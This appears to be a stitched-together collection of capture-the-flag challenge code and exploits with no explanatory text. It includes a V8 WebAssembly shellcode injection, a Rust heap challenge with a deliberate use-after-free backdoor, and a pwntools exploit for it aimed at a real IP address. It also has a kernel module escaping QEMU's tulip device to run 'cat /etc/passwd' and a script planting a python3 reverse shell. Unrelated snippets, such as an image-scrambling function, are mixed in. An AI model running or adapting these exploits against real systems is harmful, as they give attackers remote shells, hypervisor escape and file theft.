const wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,134,128,128,128,0,1,96,1,124,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,148,128,128,128,0,2,6,109,101,109,111,114,121,2,0,7,116,104,101,102,117,110,99,0,0,10,225,128,128,128,0,1,219,128,128,128,0,2,2,124,2,127,65,1,33,4,2,64,32,0,68,0,0,0,0,0,0,0,0,101,32,0,32,0,98,114,13,0,32,0,68,0,0,0,0,0,0,0,192,160,33,1,65,1,33,3,65,1,33,4,3,64,32,3,183,33,2,32,4,183,32,0,162,32,1,163,170,33,4,32,3,65,1,106,33,3,32,2,32,0,99,13,0,11,11,32,4,11]);
const wasmModule = new WebAssembly.Module(wasmCode);
const wasmInstance = new WebAssembly.Instance(wasmModule);
const main = wasmInstance.exports.thefunc;
for (let i = 0; i < 64646; i++) main(123);
let sb = d8.serializer.serialize(wasmModule);
let s = new Uint8Array(sb);
for (let i = 0; i < s.length; i++) {
  if (s[i] == 0x55 && s[i+1] == 0x48 && s[i+2] == 0x89 && s[i+3] == 0xE5) {
    for (let j = 0; j < shellCode.length; j++) {
      s[i+j] = shellCode[j];
    }
    break;
  }
}
let data = [];
for (let i = 0; i < s.length; i++) {
  data.push(s[i]);
}
write(`new WebAssembly.Instance(d8.serializer.deserialize(new Uint8Array([${data}]).buffer)).exports.thefunc();`);

from pwn import *

import subprocess

payload = subprocess.check_output(["bin/d8", "gen.js"])

if args.REMOTE:
    r = remote(args.HOST, args.PORT)
else:
    r = process("bin/d8")

r.sendline(payload)
r.interactive()

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/miscdevice.h>
#include <linux/fs.h>
#include <linux/uaccess.h>
#include <linux/errno.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("shiki7");
MODULE_DESCRIPTION("semihosting test");
MODULE_VERSION("0.1");

__attribute__((naked)) long semihosting_call(unsigned long operation, uintptr_t system_block_address) {
  asm volatile (
      "SVC #0x123456
"
      "BX LR
"
      );
}

#define SEMIHOSTING_SYS_SYSTEM          0x12

typedef struct {
  char *command_line;
  size_t command_length;
} smh_system_block_t;

long semihosting_system(char *command_line) {
  smh_system_block_t system_block;

  system_block.command_line = command_line;
  system_block.command_length = strlen(command_line);

  return semihosting_call(SEMIHOSTING_SYS_SYSTEM, (uintptr_t)&system_block);
}

static int __init mod_init(void) {
  printk(KERN_INFO "Hello kernel world!
");
  semihosting_system("bash -c 'echo hello > /tmp/hello';");
  return 0;
}

static void __exit mod_exit(void) {
  printk(KERN_INFO "Bye-bye kernel world!
");
  return;
}

module_init(mod_init);
module_exit(mod_exit);

def arnold_cat_map(image, key=(1, 2, 1)):
    """
    Implements Arnold's cat map transformation on an image.
    """
    height, width, *_ = image.shape
    offset_x, offset_y, iterations = key

    new_image = np.zeros(image.shape, dtype=np.uint8)
    for i in range(iterations):
        for x in range(height):
            for y in range(width):
                _x, _y = x, y
                _y = (_y + offset_x * _x) % width
                _x = (_x + offset_y * _y) % height
                new_image[_x, _y] = image[x, y]
    return new_image

def arnold_cat_map_rev(image, key=(1, 2, 1)):
    """
    Implements Arnold's cat map transformation on an image (reverse).
    """
    height, width, *_ = image.shape
    offset_x, offset_y, iterations = key

    new_image = np.zeros(image.shape, dtype=np.uint8)
    for i in range(iterations):
        for x in range(height):
            for y in range(width):
                _x, _y = x, y
                _x = (_x - offset_y * _y) % height
                _y = (_y - offset_x * _x) % width
                new_image[_x, _y] = image[x, y]
    return new_image

antlr4 -Dlanguage=Python3 C.g4 -o CParser

use anyhow::Result;
use std::io::{self, Read, Write};
use std::vec::Vec;
use nix::unistd::alarm;

const MAX_HOUSE: usize = 8;

struct HouseTbl {
    houses: [Option<Vec<u8>>; MAX_HOUSE],
}

fn show_menu() -> Result<()> {
    println!("1. add a house");
    println!("2. show a house");
    println!("3. edit a house");
    println!("4. delete a house");
    println!("5. exit");
    print!(">>> ");
    io::stdout().flush()?;
    Ok(())
}

fn add(tbl: &mut HouseTbl) -> Result<()> {
    let mut i = 0;
    for x in tbl.houses.iter() {
        if !x.is_none() {
            i += 1;
        } else {
            break;
        }
    }

    if i == MAX_HOUSE {
        println!("full!");
        return Ok(());
    }

    println!("idx is {}", i);
    print!("now the size: ");
    io::stdout().flush()?;

    let mut buffer = String::new();
    io::stdin().read_line(&mut buffer)?;
    let size = buffer.trim().parse::<usize>()?;
    if size >= 0x200 {
        println!("too large");
        return Ok(());
    }
    let mut content: Vec<u8> = vec![0xcc as u8; size];
    // let mut content: Vec<u8> = Vec::with_capacity(size);
    print!("next the content: ");
    io::stdout().flush()?;

    io::stdin().read_exact(&mut content)?;

    tbl.houses[i] = Some(content);

    Ok(())
}

fn show(tbl: &mut HouseTbl) -> Result<()> {
    print!("house index: ");
    io::stdout().flush()?;
    let mut buffer = String::new();
    io::stdin().read_line(&mut buffer)?;
    let index = buffer.trim().parse::<usize>()?;

    if index >= MAX_HOUSE {
        println!("invalid!");
        return Ok(());
    }

    match tbl.houses[index].as_ref() {
        Some(house) => io::stdout().write_all(house)?,
        None => println!("no house"),
    }
    Ok(())
}

fn edit(tbl: &mut HouseTbl) -> Result<()> {
    print!("house index: ");
    io::stdout().flush()?;
    let mut buffer = String::new();
    io::stdin().read_line(&mut buffer)?;
    let index = buffer.trim().parse::<usize>()?;

    if index >= MAX_HOUSE {
        println!("invalid!");
        return Ok(());
    }

    match tbl.houses[index].as_mut() {
        Some(house) => {
            print!("content(size {}): ", house.len());
            io::stdout().flush()?;
            io::stdin().read_exact(house)?;
        }
        None => println!("no house"),
    }

    Ok(())
}

fn backdoor(tbl: &mut HouseTbl, i: i32)  {
    let idx = i - 1953723762;
    if  idx < MAX_HOUSE as i32 && idx >= 0 {
        if let Some(house) = tbl.houses[idx as usize].as_mut() {
            unsafe {
                let _ = Vec::from_raw_parts(house.as_mut_ptr(), house.len(), house.capacity());
            }
        }
    }
}

fn delete(tbl: &mut HouseTbl) -> Result<()> {
    print!("house index: ");
    io::stdout().flush()?;
    let mut buffer = String::new();
    io::stdin().read_line(&mut buffer)?;
    let index = buffer.trim().parse::<usize>()?;

    backdoor(tbl, index as i32);

    if index >= MAX_HOUSE {
        println!("invalid!");
        return Ok(());
    }


    match tbl.houses[index].take() {
        Some(_) => println!("success"),
        None => println!("no house"),
    }

    Ok(())
}

fn main_process() -> Result<()> {
    let mut tbl = HouseTbl {
        houses: Default::default(),
    };
    loop {
        show_menu()?;
        let mut choose = String::new();
        io::stdin().read_line(&mut choose)?;
        let choose_number = choose.trim().parse::<u8>();
        _ = match choose_number {
            Ok(1) => add(&mut tbl),
            Ok(2) => show(&mut tbl),
            Ok(3) => edit(&mut tbl),
            Ok(4) => delete(&mut tbl),
            Ok(5) => break,
            _ => {
                println!("invalid!");
                Ok(())
            }
        };
    }
    println!("Bye~");
    Ok(())
}

fn main() {
    alarm::set(60);
    _ = main_process();
}

import pwn

pwn.context.log_level = "debug"

#p = pwn.process("./target/debug/babyheap")
p = pwn.remote('47.98.229.103', 1337)

def add(size, content):
    p.recvuntil(">>> ")
    p.sendline('1')
    p.recvuntil("size: ")
    p.sendline(str(size))
    p.recvuntil("content: ")
    p.send(content)

def show(idx):
    p.recvuntil(">>> ")
    p.sendline('2')
    p.recvuntil("index: ")
    p.sendline(str(idx))

def edit(idx, content):
    p.recvuntil(">>> ")
    p.sendline('3')
    p.recvuntil("index: ")
    p.sendline(str(idx))
    p.recvuntil(": ")
    p.send(content)

def delete(idx, back=False):
    if back:
        idx += 1953723762
    p.recvuntil(">>> ")
    p.sendline('4')
    p.recvuntil("index: ")
    p.sendline(str(idx))

add(0x100, 'a'*0x100)
#full tcache
for i in range(7):
    add(0x100, 't'*0x100)

delete(1)
delete(2)
delete(3)
delete(4)
delete(5)
delete(6)
delete(7, True)
delete(0, True)

show(0)
addr = pwn.u64(p.recv(8))
libc_base = addr - 4111520
pwn.info("libc base 0x%x"%libc_base)

edit(7, pwn.p64(libc_base + 4118760) + b'a'*0xf8)
add(0x100, "/bin/sh " + 'a'*0xf8)
add(0x100,pwn.p64(libc_base + 324640) + b' '*0xf8)

delete(1)
p.interactive()

typedef struct TULIPState {
    PCIDevice dev;
    MemoryRegion io;
    MemoryRegion memory;
...
    uint8_t rx_frame[2048];
    uint8_t tx_frame[2048];
    int tx_frame_len;
    int rx_frame_len;
    int rx_frame_size;

    uint32_t rx_status;
    uint8_t filter[16][6];
} TULIPState;

#include <asm/io.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include<linux/slab.h>
MODULE_LICENSE("Dual BSD/GPL");
char *pmem,*pmem2;
char *oob_read(int off, int size){
    char *tx_buf = kmalloc(0x1000,GFP_KERNEL|GFP_DMA);
    char *rx_buf = kmalloc(0x1000,GFP_KERNEL|GFP_DMA);
    char *tx_desc = kmalloc(0x1000,GFP_KERNEL|GFP_DMA);
    char *rx_desc = kmalloc(0x1000,GFP_KERNEL|GFP_DMA);

    memset(tx_buf,0x1000,0);
    memset(rx_buf,0x1000,0);
    memset(tx_desc,0x1000,0);
    memset(rx_desc,0x1000,0);
    *(uint32_t *)&rx_desc[0] = 0x80000000;
    *(uint32_t *)&rx_desc[4] = size;
    *(uint32_t *)&rx_desc[8] = virt_to_phys(rx_buf);
    *(uint32_t *)&rx_desc[12] = 0;
    *(uint32_t *)&tx_desc[0] = 0x80000000;
    *(uint64_t *)&tx_desc[4] = 0x40106600;
        *(uint32_t *)&tx_desc[8] = virt_to_phys(tx_buf);
        *(uint32_t *)&tx_desc[12] = virt_to_phys(tx_buf);

    *(uint32_t *)&tx_buf[0x200] = 0x10;
    *(uint32_t *)&tx_buf[0x204] = size;
    *(uint32_t *)&tx_buf[0x208] = off+size;
    writel(1,pmem);
    uint32_t tmp = readl(pmem+0x30);
    writel(virt_to_phys(rx_desc),pmem+0x18);
    writel(virt_to_phys(tx_desc),pmem+0x20);
    writel(tmp|0x2c02, pmem+0x30);
    return rx_buf;
}

void oob_write(int off, int size, char *buf){
    char *tx_buf = kmalloc(0x1000,GFP_KERNEL|GFP_DMA);
        char *tx_desc = kmalloc(0x1000,GFP_KERNEL|GFP_DMA);
    memset(tx_buf,0,0x1000);
    memset(tx_desc,0,0x1000);
    *(uint64_t *)&tx_desc[0] = 0x2010660080000000;
    *(uint32_t *)&tx_desc[8] = virt_to_phys(tx_buf);
    *(uint32_t *)&tx_desc[12] = virt_to_phys(tx_buf);
    *(uint32_t *)&tx_desc[16] = 0x80000000;
    *(uint32_t *)&tx_desc[20] = size;
    *(uint32_t *)&tx_desc[24] = virt_to_phys(buf);
    *(uint32_t *)&tx_desc[28] = 0;

    *(uint32_t *)&tx_buf[0x200] = off - 0x20c;
    *(uint32_t *)&tx_buf[0x204] = 0;


    writel(1,pmem);
        uint32_t tmp = readl(pmem+0x30);
        writel(virt_to_phys(tx_desc),pmem+0x20);
        writel(tmp|0x2c00, pmem+0x30);
}
static int poc_init(void){
    int i,tmp;
    printk(KERN_INFO "Hello kernel
");

    pmem = ioremap(0xfebf1000,0x1000);
    if(pmem){
        //printk("Success");
        char *leak_buf = oob_read(0xFFFFD560,8);
        printk("leak TULIPState %llx",*(uint64_t *)leak_buf);
        char *leak_ops = oob_read(0xFFFFDEC8,8);
        printk("leak ops %llx",*(uint64_t *)leak_ops);
        uint64_t system = *(uint64_t *)leak_ops - 0xbad820;
        char *cmd = kmalloc(0x1000,GFP_KERNEL|GFP_DMA);
        char *t_cmd = "cat /etc/passwd";
        strcpy(cmd,t_cmd);
        oob_write(0xFFFFCCB0, strlen(cmd), cmd);

        char *buf = kmalloc(0x60,GFP_KERNEL|GFP_DMA);
        memset(buf,0,0x60);
        *(uint64_t *)&buf[0] = system;
        *(uint64_t *)&buf[8] = system;
        *(uint64_t *)&buf[0x40] = 0x400000004;
        *(uint64_t *)&buf[0x20] = 2;
        oob_write(0xFFFFF800, 0x60, buf);
        *(uint64_t *)cmd = *(uint64_t *)leak_buf + 0x2b50;
        oob_write(0xFFFFD6C8, 8, cmd);
        readl(pmem);

        iounmap(pmem);
    }
    return 0;
}

static void poc_exit(void){
    printk(KERN_INFO "Exit~");
    return;
}

module_init(poc_init);
module_exit(poc_exit);

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import struct 
from pwn import *
import base64
context.log_level = 'debug'

target_host = "x"
target_port = x

def prepare_evil_file():
    global target_host, target_port
    r = remote(target_host, target_port)
    s = '''python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx",9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
'''
    mess = "#!/bin/sh\n"+s+"\n#ÿaaaaaaaaaa"
    rq = b'''GET /sign_message?message='''+base64.b64encode(mess.encode("latin"))+b''' HTTP/1.1
Host: 127.0.0.1
Authorization: '''+ base64.b64encode("rce".encode("utf-8")) + b'''
X-Forwarded-For: 127.0.0.1

'''
    r.send(rq)
    r.close()

def exploit():
    global target_host, target_port
    r = remote(target_host, target_port)
    p32 = lambda x: struct.pack("<L", x)
    p16 = lambda x: struct.pack("<H", x)
    p8 = lambda x: struct.pack("<B", x)

    target = 0xD34+1

    table = ["۰","١","٢","٣","٤","٥","٦","٧","٨","٩"]
    for i in range(10):
        assert int(table[i]) == i
    body = b'A' * 0x14 + p32(8) + p32(0)
    body += p8(0x43) + p16((target & 0xffff) + 0x0000) + b""" + b"A" * 186
    body_len = table[2] + table[1] + "8" # real length: 8
    sig = "B" * 64
    sig_len = 64
    rq = b'''POST /test HTTP/1.1
Host: 127.0.0.1
X-Signature: '''+ sig.encode("utf-8").hex().encode("utf-8") +b'''
Content-Type: application/json
Content-Length: '''+body_len.encode("utf-8")+b'''

'''+body
    r.send(rq)
    r.close()

prepare_evil_file()
exploit()